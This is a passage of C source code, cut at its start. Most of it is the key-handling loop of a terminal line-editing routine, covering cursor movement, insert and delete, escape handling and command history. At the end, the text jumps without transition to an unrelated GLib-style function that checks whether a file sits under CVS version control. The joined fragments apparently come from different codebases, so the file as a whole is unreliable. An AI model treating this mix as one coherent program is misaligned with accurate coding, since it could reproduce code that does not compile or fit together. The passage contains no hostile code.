if (key != KEY_TAB) break;
}
}
close(dir);
if (key < 0) return key;
}
}
switch (key) {
case KEY_LEFT:
if (idx > 0) {
putchar('\b');
idx--;
}
break;
case KEY_RIGHT:
if (idx < len) {
putchar(buf[idx]);
idx++;
}
break;
case KEY_CTRL_LEFT:
if (idx > 0) {
putchar('\b');
idx--;
}
while (idx > 0 && buf[idx - 1] != ' ') {
putchar('\b');
idx--;
}
break;
case KEY_CTRL_RIGHT:
while (idx < len && buf[idx] != ' ') {
putchar(buf[idx]);
idx++;
}
if (idx < len) {
putchar(buf[idx]);
idx++;
}
break;
case KEY_HOME:
while (idx > 0) {
putchar('\b');
idx--;
}
break;
case KEY_END:
while (idx < len) {
putchar(buf[idx]);
idx++;
}
break;
case KEY_DEL:
if (idx < len) {
len--;
memmove(buf + idx, buf + idx + 1, len - idx);
for (i = idx; i < len; i++) putchar(buf[i]);
putchar(' ');
putchar('\b');
for (i = idx; i < len; i++) putchar('\b');
}
break;
case KEY_INS:
insmode = !insmode;
break;
case KEY_BACKSPACE:
if (idx > 0) {
putchar('\b');
idx--;
len--;
memmove(buf + idx, buf + idx + 1, len - idx);
for (i = idx; i < len; i++) putchar(buf[i]);
putchar(' ');
putchar('\b');
for (i = idx; i < len; i++) putchar('\b');
}
break;
case KEY_ESC:
if (_break_on_escape) {
buf[len] = 0;
errno = EINTR;
return -1;
} else {
for (i = 0; i < idx; i++) putchar('\b');
for (i = 0; i < len; i++) putchar(' ');
for (i = 0; i < len; i++) putchar('\b');
idx = len = 0;
}
break;
case KEY_EOF:
if (len == 0) return -1;
break;
case KEY_ENTER:
putchar('\r');
putchar('\n');
done = 1;
break;
case KEY_UP:
if (hist_idx > 0) {
hist_idx--;
for (i = 0; i < idx; i++) putchar('\b');
for (i = 0; i < len; i++) putchar(' ');
for (i = 0; i < len; i++) putchar('\b');
len = strlen(history[hist_idx]);
if (len > size - 1) len = size - 1;
idx = len;
memcpy(buf, history[hist_idx], len);
for (i = 0; i < len; i++) putchar(buf[i]);
}
break;
case KEY_DOWN:
if (hist_idx < history_len - 1) {
hist_idx++;
for (i = 0; i < idx; i++) putchar('\b');
for (i = 0; i < len; i++) putchar(' ');
for (i = 0; i < len; i++) putchar('\b');
len = strlen(history[hist_idx]);
if (len > size - 1) len = size - 1;
idx = len;
memcpy(buf, history[hist_idx], len);
for (i = 0; i < len; i++) putchar(buf[i]);
}
break;
case KEY_UNKNOWN:
break;
default:
if (key >= 0x20 && key <= 0xFF) {
if (insmode) {
if (len < size - 1) {
if (idx < len) memmove(buf + idx + 1, buf + idx, len - idx);
buf[idx] = key;
len++;
for (i = idx; i < len; i++) putchar(buf[i]);
idx++;
for (i = idx; i < len; i++) putchar('\b');
}
} else {
if (idx < size - 1) {
buf[idx] = key;
putchar(buf[idx]);
if (idx == len) len++;
idx++;
}
}
}
}
}
buf[len] = 0;
add_to_history(buf);
return len;
}
static gboolean
in_vc_cvs(const gchar * filename)
{
return find_dir(filename, "CVS", FALSE);
}
